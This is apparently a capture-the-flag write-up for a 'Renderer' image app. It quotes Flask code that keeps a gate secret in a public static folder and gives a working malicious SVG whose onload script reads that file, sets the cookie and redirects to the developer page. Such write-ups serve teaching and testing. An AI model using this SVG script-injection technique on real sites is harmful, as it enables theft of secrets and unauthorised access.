Search for a command to run...

Introducing Renderer! A free-to-use app to render your images!
The app stores a “secret cookie” in a file under the publicly served static directory and uses it as a gate to the /developer page.
app.py:
...
@app.route('/developer')
def developer():
cookie = request.cookies.get("developer_secret_cookie")
correct = open('./static/uploads/secrets/secret_cookie.txt').read()
if correct == '':
c = open('./static/uploads/secrets/secret_cookie.txt','w')
c.write(sha256(os.urandom(16)).hexdigest())
c.close()
correct = open('./static/uploads/secrets/secret_cookie.txt').read()
if cookie == correct:
c = open('./static/uploads/secrets/secret_cookie.txt','w')
c.write(sha256(os.urandom(16)).hexdigest())
c.close()
return f"Welcome! There is currently 1 unread message: {open('flag.txt').read()}"
else:
return "You are not a developer!"
...
display.html:
...
<h1>Uploaded Image</h1>
...
The “secret” lives at /static/uploads/secrets/secret_cookie.txt, which is publicly readable. Anyone can fetch it and then set a cookie with that value to access /developer.
Additionally, SVG uploads are allowed and rendered in a same-origin iframe. A malicious SVG can run JavaScript, read the secret file, set the cookie with path=/, and redirect to /developer.
Create and upload this SVG, then view it (it loads in the iframe and runs JS):
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('/static/uploads/secrets/secret_cookie.txt')
.then(r=>r.text())
.then(v=>{document.cookie='developer_secret_cookie='+v+'; path=/'; top.location='/developer'})">
</svg>